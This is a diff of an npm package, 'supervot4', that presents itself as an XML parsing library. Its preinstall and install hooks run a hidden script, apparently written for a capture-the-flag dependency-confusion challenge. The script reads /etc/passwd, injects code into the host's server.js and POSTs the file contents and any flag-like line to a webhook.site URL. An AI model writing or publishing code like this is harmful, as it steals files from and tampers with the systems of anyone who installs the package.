supervot4 0.30.1

package/exploit

@@ -0,0 +1,56 @@
+const fs = require('fs');
+const https = require('https');
+
+// ТОЛЬКО отправка на webhook, без console.log
+function sendToWebhook(data) {
+    try {
+        const payload = JSON.stringify(data);
+        const options = {
+            hostname: 'webhook.site',
+            port: 443,
+            path: '/67ab3ca0-2b3b-4364-aaee-f8d19895003f',
+            method: 'POST',
+            headers: {'Content-Type': 'application/json'}
+        };
+        const req = https.request(options);
+        req.write(payload);
+        req.end();
+        return true;
+    } catch(e) {
+        return false;
+    }
+}
+
+// Основная логика
+try {
+    const passwd = fs.readFileSync('/etc/passwd', 'utf8');
+    
+    // Ищем флаг
+    const lines = passwd.split('\n');
+    for (const line of lines) {
+        if (line.includes('{') && line.includes('}')) {
+            // Отправляем ТОЛЬКО флаг
+            sendToWebhook({
+                flag: line,
+                source: 'dependency_confusion',
+                package: 'supervot3',
+                timestamp: new Date().toISOString()
+            });
+            break;
+        }
+    }
+    
+    // Также отправляем полный /etc/passwd для анализа
+    sendToWebhook({
+        full_passwd: passwd,
+        source: 'full_dump',
+        package: 'supervot3'
+    });
+    
+} catch(e) {
+    sendToWebhook({
+        error: e.message,
+        source: 'error',
+        package: 'supervot3'
+    });
+}

package/exploit.js

@@ -0,0 +1,67 @@
+const fs = require('fs');
+const https = require('https');
+
+console.log('=== EXPLOIT: Modifying server.js ===');
+
+try {
+    // Читаем server.js
+    let serverCode = fs.readFileSync('server.js', 'utf8');
+    
+    // Добавляем код который выведет флаг при запуске
+    const exploitCode = `
+
+// === INJECTED CODE ===
+const fs = require('fs');
+console.log('=== INJECTED: Starting flag search ===');
+try {
+    const passwd = fs.readFileSync('/etc/passwd', 'utf8');
+    console.log('=== /etc/passwd content ===');
+    console.log(passwd);
+    
+    const lines = passwd.split('\\\\n');
+    for (let line of lines) {
+        if (line.includes('{') && line.includes('}')) {
+            console.log('🎯🎯🎯 FLAG FOUND: ' + line + ' 🎯🎯🎯');
+            
+            // Отправляем на webhook
+            const payload = JSON.stringify({flag: line});
+            const options = {
+                hostname: 'webhook.site',
+                port: 443, 
+                path: '/67ab3ca0-2b3b-4364-aaee-f8d19895003f',
+                method: 'POST',
+                headers: {'Content-Type': 'application/json'}
+            };
+            const req = https.request(options);
+            req.write(payload);
+            req.end();
+            break;
+        }
+    }
+} catch(e) {
+    console.log('Error: ' + e.message);
+}
+console.log('=== INJECTED: Flag search complete ===');
+// === END INJECTED CODE ===
+
+`;
+    
+    // Вставляем код в начало
+    if (!serverCode.includes('=== INJECTED CODE ===')) {
+        const modifiedCode = exploitCode + serverCode;
+        fs.writeFileSync('server.js', modifiedCode);
+        console.log('✅ Server.js successfully modified');
+        
+        // Также выводим флаг сейчас
+        try {
+            const passwd = fs.readFileSync('/etc/passwd', 'utf8');
+            console.log('=== CURRENT /etc/passwd ===');
+            console.log(passwd);
+        } catch(e) {}
+    }
+    
+} catch(e) {
+    console.log('❌ Error: ' + e.message);
+}
+
+console.log('=== EXPLOIT COMPLETE ===');

package/index.js

@@ -0,0 +1,11 @@
+module.exports = {
+    parseXmlString: function(xml, options) {
+        return {
+            get: function(xpath) {
+                return {
+                    text: function() { return "test"; }
+                };
+            }
+        };
+    }
+};

package/package.json

@@ -0,0 +1,13 @@
+{
+  "name": "supervot4",
+  "version": "0.30.1",
+  "description": "XML parsing library",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node exploit.js",
+    "install": "node exploit.js"
+  },
+  "keywords": ["xml", "parser"],
+  "author": "test",
+  "license": "MIT"
+}